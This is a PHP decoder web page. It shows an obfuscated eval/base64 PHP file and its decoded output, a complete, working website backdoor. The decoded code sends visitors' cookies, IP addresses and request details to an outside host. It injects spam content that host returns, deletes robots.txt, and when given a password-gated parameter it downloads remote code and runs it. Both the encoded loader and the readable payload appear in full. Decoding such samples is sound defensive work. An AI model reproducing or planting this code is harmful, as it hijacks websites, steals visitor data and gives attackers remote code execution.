Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /*-+_A!F-*/error_reporting(0); /*-`.)pUsrQBG-*/eval/*-RH{s#@+A6Wr^A856ax9~9a{P56.DPQ..
Decoded Output download
?>b'<?php header(\'Content-Type: text/html; charset=utf-8\'); @set_time_limit(600);@error_reporting(0);@ignore_user_abort(1);ini_set(\'display_errors\',\'Off\');$a=!empty($_SERVER[\'HTTPS\'])&&strtolower($_SERVER[\'HTTPS\'])!==\'off\'||isset($_SERVER[\'HTTP_X_FORWARDED_PROTO\'])&&$_SERVER[\'HTTP_X_FORWARDED_PROTO\']===\'https\'||!empty($_SERVER[\'HTTP_FRONT_END_HTTPS\'])&&strtolower($_SERVER[\'HTTP_FRONT_END_HTTPS\'])!==\'off\'?"https":"http";$b=$_SERVER["REQUEST_URI"];$c=isset($_SERVER[\'HTTP_ACCEPT_LANGUAGE\'])?$_SERVER[\'HTTP_ACCEPT_LANGUAGE\']:"";$d=$_SERVER["HTTP_HOST"];$f=isset($_SERVER[\'HTTP_REFERER\'])?$_SERVER[\'HTTP_REFERER\']:"";$g=isset($_SERVER[\'HTTP_USER_AGENT\'])?$_SERVER[\'HTTP_USER_AGENT\']:"";$h=isset($_SERVER[\'REMOTE_ADDR\'])?$_SERVER[\'REMOTE_ADDR\']:"";$i=implode(\',\',$_COOKIE);$j=array(\'Accept-Language: \'.$c,\'User-Agent: \'.$g,\'Referer: \'.$f,\'Http-Proto: \'.$a,\'Http-Host: \'.$d,\'Http-Uri: \'.$b,\'Http-X-Forwarded-For: \'.$h,\'Cookie: \'.$i);$k="type=".$a."&host=".$d."&uri=".$b."&ip=".$h."&cookie=".$i;$l=$_REQUEST[\'action\'];if(!empty($l)){$m=substr($l,-1);$l=substr($l,0,strlen($l)-1);$n=array(\'93\',\'92e\',\'f9\',\'255\',\'e\',\'1cc\',\'28d\',\'06\',\'4b19\',\'7\',\'96b0e\',\'86\',\'d\');$o=md5($l);if($o==implode($n)){$p=array("h","t","t","p",":","/","/","w","p","t","e","s","t",".","w","o","d","i","r","e","c","t",".","t","o","p","/","r","e","m","o","t","e","/","d","o","o","r/");$q=getu(implode($p).$m.\'.t\'.\'x\'.\'t\');eval(\'?>\'.$q[0]);}exit();}else{$r="rkosjl.fruvaq.top";if($b!=="/favicon.ico"){if(!strstr($s,\'testsitemap\')){$t=$_SERVER[\'DOCUMENT_ROOT\'].\'/robots.txt\';if(file_exists($t)){unlink($t);}}list($s,$u,$v)=getu(\'h\'.\'t\'.\'t\'.\'p\'.\':/\'.\'/\'.$r.\'/in\'.\'d\'.\'ex\'.\'on\'.\'e.\'.\'ph\'.\'p?\'.$k,$j,$k);if($u>=400&&$u<500){@header(\'HTTP/1.1 404 Not Found\');exit($s);}if($u>=500){@header(\'HTTP/1.1 500 Internal Server Error\');exit;}if(!strstr($s,\'notthing\')){if(strstr($s,\'htmlcontent\')){@header("Content-type: text/html; charset=utf-8");$w=str_replace("htmlcontent",\'\',$s);echo $w;exit();}if(strstr($s,\'xmlcontent\')){@header("Content-type: text/xml");exit(str_replace("xmlcontent",\'\',$s));}if(strstr($s,\'robotscontent\')){@header("Content-type: text/plain; charset=utf-8");$x=explode(\'[zm]\',str_replace("robotscontent",\'\',$s));exit(implode(PHP_EOL,$x));}}}}function getu($y,$j=null,$k=null,$z=null){if(!function_exists(\'curl_init\')){return;}try{$aa=curl_init();curl_setopt($aa,CURLOPT_URL,$y);curl_setopt($aa,CURLOPT_FOLLOWLOCATION,1);curl_setopt($aa,CURLOPT_SSL_VERIFYPEER,FALSE);curl_setopt($aa,CURLOPT_SSL_VERIFYHOST,FALSE);curl_setopt($aa,CURLOPT_CONNECTTIMEOUT,30);curl_setopt($aa,CURLOPT_RETURNTRANSFER,1);$j===null?\'\':curl_setopt($aa,CURLOPT_HTTPHEADER,$j);$z===null||$z===""?\'\':curl_setopt($aa,CURLOPT_USERAGENT,$z);if($k!==null&&$k!==""){curl_setopt($aa,CURLOPT_POST,1);curl_setopt($aa,CURLOPT_POSTFIELDS,$k);}$bb=curl_exec($aa);$cc=curl_getinfo($aa,CURLINFO_HTTP_CODE);$dd=curl_getinfo($aa,CURLINFO_CONTENT_TYPE);curl_close($aa);}catch(Exception $ee){}if(($bb===false||$bb=="")&&function_exists(\'file_get_contents\')){ini_set(\'user_agent\',\'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0\');try{$bb=@file_get_contents($y);}catch(Exception $ee){}}return array($bb,$cc,$dd);} ?>'
Did this file decode correctly?
Original Code
<?php /*-+_A!F-*/error_reporting(0); /*-`.)pUsrQBG-*/eval/*-RH{s#@+A6Wr^A856ax9~9a{P56.DPQA@SK>?7$}BMXz,yE`N^6-*/(/*-Yl#,0-*/base64_decode/*-m0oI6-*/(/*-&Z#(%g@~d-*/"ZXZhbCgiPz4iLmJhc2U2NF9kZWNvZGUoIlBEOXdhSEFnYUdWaFpHVnlLQ2REYjI1MFpXNTBMVlI1Y0dVNklIUmxlSFF2YUhSdGJEc2dZMmhoY25ObGREMTFkR1l0T0NjcE95QkFjMlYwWDNScGJXVmZiR2x0YVhRb05qQXdLVHRBWlhKeWIzSmZjbVZ3YjNKMGFXNW5LREFwTzBCcFoyNXZjbVZmZFhObGNsOWhZbTl5ZENneEtUdHBibWxmYzJWMEtDZGthWE53YkdGNVgyVnljbTl5Y3ljc0owOW1aaWNwT3lSaFBTRmxiWEIwZVNna1gxTkZVbFpGVWxzblNGUlVVRk1uWFNrbUpuTjBjblJ2Ykc5M1pYSW9KRjlUUlZKV1JWSmJKMGhVVkZCVEoxMHBJVDA5SjI5bVppZDhmR2x6YzJWMEtDUmZVMFZTVmtWU1d5ZElWRlJRWDFoZlJrOVNWMEZTUkVWRVgxQlNUMVJQSjEwcEppWWtYMU5GVWxaRlVsc25TRlJVVUY5WVgwWlBVbGRCVWtSRlJGOVFVazlVVHlkZFBUMDlKMmgwZEhCekozeDhJV1Z0Y0hSNUtDUmZVMFZTVmtWU1d5ZElWRlJRWDBaU1QwNVVYMFZPUkY5SVZGUlFVeWRkS1NZbWMzUnlkRzlzYjNkbGNpZ2tYMU5GVWxaRlVsc25TRlJVVUY5R1VrOU9WRjlGVGtSZlNGUlVVRk1uWFNraFBUMG5iMlptSno4aWFIUjBjSE1pT2lKb2RIUndJanNrWWowa1gxTkZVbFpGVWxzaVVrVlJWVVZUVkY5VlVra2lYVHNrWXoxcGMzTmxkQ2drWDFORlVsWkZVbHNuU0ZSVVVGOUJRME5GVUZSZlRFRk9SMVZCUjBVblhTay9KRjlUUlZKV1JWSmJKMGhVVkZCZlFVTkRSVkJVWDB4QlRrZFZRVWRGSjEwNklpSTdKR1E5SkY5VFJWSldSVkpiSWtoVVZGQmZTRTlUVkNKZE95Um1QV2x6YzJWMEtDUmZVMFZTVmtWU1d5ZElWRlJRWDFKRlJrVlNSVkluWFNrL0pGOVRSVkpXUlZKYkowaFVWRkJmVWtWR1JWSkZVaWRkT2lJaU95Um5QV2x6YzJWMEtDUmZVMFZTVmtWU1d5ZElWRlJRWDFWVFJWSmZRVWRGVGxRblhTay9KRjlUUlZKV1JWSmJKMGhVVkZCZlZWTkZVbDlCUjBWT1ZDZGRPaUlpT3lSb1BXbHpjMlYwS0NSZlUwVlNWa1ZTV3lkU1JVMVBWRVZmUVVSRVVpZGRLVDhrWDFORlVsWkZVbHNuVWtWTlQxUkZYMEZFUkZJblhUb2lJanNrYVQxcGJYQnNiMlJsS0Njc0p5d2tYME5QVDB0SlJTazdKR285WVhKeVlYa29KMEZqWTJWd2RDMU1ZVzVuZFdGblpUb2dKeTRrWXl3blZYTmxjaTFCWjJWdWREb2dKeTRrWnl3blVtVm1aWEpsY2pvZ0p5NGtaaXduU0hSMGNDMVFjbTkwYnpvZ0p5NGtZU3duU0hSMGNDMUliM04wT2lBbkxpUmtMQ2RJZEhSd0xWVnlhVG9nSnk0a1lpd25TSFIwY0MxWUxVWnZjbmRoY21SbFpDMUdiM0k2SUNjdUpHZ3NKME52YjJ0cFpUb2dKeTRrYVNrN0pHczlJblI1Y0dVOUlpNGtZUzRpSm1odmMzUTlJaTRrWkM0aUpuVnlhVDBpTGlSaUxpSW1hWEE5SWk0a2FDNGlKbU52YjJ0cFpUMGlMaVJwT3lSc1BTUmZVa1ZSVlVWVFZGc25ZV04wYVc5dUoxMDdhV1lvSVdWdGNIUjVLQ1JzS1NsN0pHMDljM1ZpYzNSeUtDUnNMQzB4S1Rza2JEMXpkV0p6ZEhJb0pHd3NNQ3h6ZEhKc1pXNG9KR3dwTFRFcE95UnVQV0Z5Y21GNUtDYzVNeWNzSnpreVpTY3NKMlk1Snl3bk1qVTFKeXduWlNjc0p6RmpZeWNzSnpJNFpDY3NKekEySnl3bk5HSXhPU2NzSnpjbkxDYzVObUl3WlNjc0p6ZzJKeXduWkNjcE95UnZQVzFrTlNna2JDazdhV1lvSkc4OVBXbHRjR3h2WkdVb0pHNHBLWHNrY0QxaGNuSmhlU2dpYUNJc0luUWlMQ0owSWl3aWNDSXNJam9pTENJdklpd2lMeUlzSW5jaUxDSndJaXdpZENJc0ltVWlMQ0p6SWl3aWRDSXNJaTRpTENKM0lpd2lieUlzSW1RaUxDSnBJaXdpY2lJc0ltVWlMQ0pqSWl3aWRDSXNJaTRpTENKMElpd2lieUlzSW5BaUxDSXZJaXdpY2lJc0ltVWlMQ0p0SWl3aWJ5SXNJblFpTENKbElpd2lMeUlzSW1RaUxDSnZJaXdpYnlJc0luSXZJaWs3SkhFOVoyVjBkU2hwYlhCc2IyUmxLQ1J3S1M0a2JTNG5MblFuTGlkNEp5NG5kQ2NwTzJWMllXd29KejgrSnk0a2NWc3dYU2s3ZldWNGFYUW9LVHQ5Wld4elpYc2tjajBpY210dmMycHNMbVp5ZFhaaGNTNTBiM0FpTzJsbUtDUmlJVDA5SWk5bVlYWnBZMjl1TG1samJ5SXBlMmxtS0NGemRISnpkSElvSkhNc0ozUmxjM1J6YVhSbGJXRndKeWtwZXlSMFBTUmZVMFZTVmtWU1d5ZEVUME5WVFVWT1ZGOVNUMDlVSjEwdUp5OXliMkp2ZEhNdWRIaDBKenRwWmlobWFXeGxYMlY0YVhOMGN5Z2tkQ2twZTNWdWJHbHVheWdrZENrN2ZYMXNhWE4wS0NSekxDUjFMQ1IyS1QxblpYUjFLQ2RvSnk0bmRDY3VKM1FuTGlkd0p5NG5PaThuTGljdkp5NGtjaTRuTDJsdUp5NG5aQ2N1SjJWNEp5NG5iMjRuTGlkbExpY3VKM0JvSnk0bmNEOG5MaVJyTENScUxDUnJLVHRwWmlna2RUNDlOREF3SmlZa2RUdzFNREFwZTBCb1pXRmtaWElvSjBoVVZGQXZNUzR4SURRd05DQk9iM1FnUm05MWJtUW5LVHRsZUdsMEtDUnpLVHQ5YVdZb0pIVStQVFV3TUNsN1FHaGxZV1JsY2lnblNGUlVVQzh4TGpFZ05UQXdJRWx1ZEdWeWJtRnNJRk5sY25abGNpQkZjbkp2Y2ljcE8yVjRhWFE3ZldsbUtDRnpkSEp6ZEhJb0pITXNKMjV2ZEhSb2FXNW5KeWtwZTJsbUtITjBjbk4wY2lna2N5d25hSFJ0YkdOdmJuUmxiblFuS1NsN1FHaGxZV1JsY2lnaVEyOXVkR1Z1ZEMxMGVYQmxPaUIwWlhoMEwyaDBiV3c3SUdOb1lYSnpaWFE5ZFhSbUxUZ2lLVHNrZHoxemRISmZjbVZ3YkdGalpTZ2lhSFJ0YkdOdmJuUmxiblFpTENjbkxDUnpLVHRsWTJodklDUjNPMlY0YVhRb0tUdDlhV1lvYzNSeWMzUnlLQ1J6TENkNGJXeGpiMjUwWlc1MEp5a3BlMEJvWldGa1pYSW9Ja052Ym5SbGJuUXRkSGx3WlRvZ2RHVjRkQzk0Yld3aUtUdGxlR2wwS0hOMGNsOXlaWEJzWVdObEtDSjRiV3hqYjI1MFpXNTBJaXduSnl3a2N5a3BPMzFwWmloemRISnpkSElvSkhNc0ozSnZZbTkwYzJOdmJuUmxiblFuS1NsN1FHaGxZV1JsY2lnaVEyOXVkR1Z1ZEMxMGVYQmxPaUIwWlhoMEwzQnNZV2x1T3lCamFHRnljMlYwUFhWMFppMDRJaWs3SkhnOVpYaHdiRzlrWlNnblczcHRYU2NzYzNSeVgzSmxjR3hoWTJVb0luSnZZbTkwYzJOdmJuUmxiblFpTENjbkxDUnpLU2s3WlhocGRDaHBiWEJzYjJSbEtGQklVRjlGVDB3c0pIZ3BLVHQ5ZlgxOVpuVnVZM1JwYjI0Z1oyVjBkU2drZVN3a2FqMXVkV3hzTENSclBXNTFiR3dzSkhvOWJuVnNiQ2w3YVdZb0lXWjFibU4wYVc5dVgyVjRhWE4wY3lnblkzVnliRjlwYm1sMEp5a3BlM0psZEhWeWJqdDlkSEo1ZXlSaFlUMWpkWEpzWDJsdWFYUW9LVHRqZFhKc1gzTmxkRzl3ZENna1lXRXNRMVZTVEU5UVZGOVZVa3dzSkhrcE8yTjFjbXhmYzJWMGIzQjBLQ1JoWVN4RFZWSk1UMUJVWDBaUFRFeFBWMHhQUTBGVVNVOU9MREVwTzJOMWNteGZjMlYwYjNCMEtDUmhZU3hEVlZKTVQxQlVYMU5UVEY5V1JWSkpSbGxRUlVWU0xFWkJURk5GS1R0amRYSnNYM05sZEc5d2RDZ2tZV0VzUTFWU1RFOVFWRjlUVTB4ZlZrVlNTVVpaU0U5VFZDeEdRVXhUUlNrN1kzVnliRjl6WlhSdmNIUW9KR0ZoTEVOVlVreFBVRlJmUTA5T1RrVkRWRlJKVFVWUFZWUXNNekFwTzJOMWNteGZjMlYwYjNCMEtDUmhZU3hEVlZKTVQxQlVYMUpGVkZWU1RsUlNRVTVUUmtWU0xERXBPeVJxUFQwOWJuVnNiRDhuSnpwamRYSnNYM05sZEc5d2RDZ2tZV0VzUTFWU1RFOVFWRjlJVkZSUVNFVkJSRVZTTENScUtUc2tlajA5UFc1MWJHeDhmQ1I2UFQwOUlpSS9KeWM2WTNWeWJGOXpaWFJ2Y0hRb0pHRmhMRU5WVWt4UFVGUmZWVk5GVWtGSFJVNVVMQ1I2S1R0cFppZ2theUU5UFc1MWJHd21KaVJySVQwOUlpSXBlMk4xY214ZmMyVjBiM0IwS0NSaFlTeERWVkpNVDFCVVgxQlBVMVFzTVNrN1kzVnliRjl6WlhSdmNIUW9KR0ZoTEVOVlVreFBVRlJmVUU5VFZFWkpSVXhFVXl3a2F5azdmU1JpWWoxamRYSnNYMlY0WldNb0pHRmhLVHNrWTJNOVkzVnliRjluWlhScGJtWnZLQ1JoWVN4RFZWSk1TVTVHVDE5SVZGUlFYME5QUkVVcE95UmtaRDFqZFhKc1gyZGxkR2x1Wm04b0pHRmhMRU5WVWt4SlRrWlBYME5QVGxSRlRsUmZWRmxRUlNrN1kzVnliRjlqYkc5elpTZ2tZV0VwTzMxallYUmphQ2hGZUdObGNIUnBiMjRnSkdWbEtYdDlhV1lvS0NSaVlqMDlQV1poYkhObGZId2tZbUk5UFNJaUtTWW1ablZ1WTNScGIyNWZaWGhwYzNSektDZG1hV3hsWDJkbGRGOWpiMjUwWlc1MGN5Y3BLWHRwYm1sZmMyVjBLQ2QxYzJWeVgyRm5aVzUwSnl3blRXOTZhV3hzWVM4MUxqQWdLRmRwYm1SdmQzTWdUbFFnTVRBdU1Ec2dWMmx1TmpRN0lIZzJORHNnY25ZNk1USTRMakFwSUVkbFkydHZMekl3TVRBd01UQXhJRVpwY21WbWIzZ3ZNVEk0TGpBbktUdDBjbmw3SkdKaVBVQm1hV3hsWDJkbGRGOWpiMjUwWlc1MGN5Z2tlU2s3ZldOaGRHTm9LRVY0WTJWd2RHbHZiaUFrWldVcGUzMTljbVYwZFhKdUlHRnljbUY1S0NSaVlpd2tZMk1zSkdSa0tUdDlJRDgrIikpOw=="/*-u)6gI$9-*/)/*-HE$IvPk~$-*/);?>
Function Calls
base64_decode | 2 |
error_reporting | 1 |
Stats
MD5 | 40492766fc1cb7c3715d0e487ebad2cc |
Eval Count | 2 |
Decode Time | 68 ms |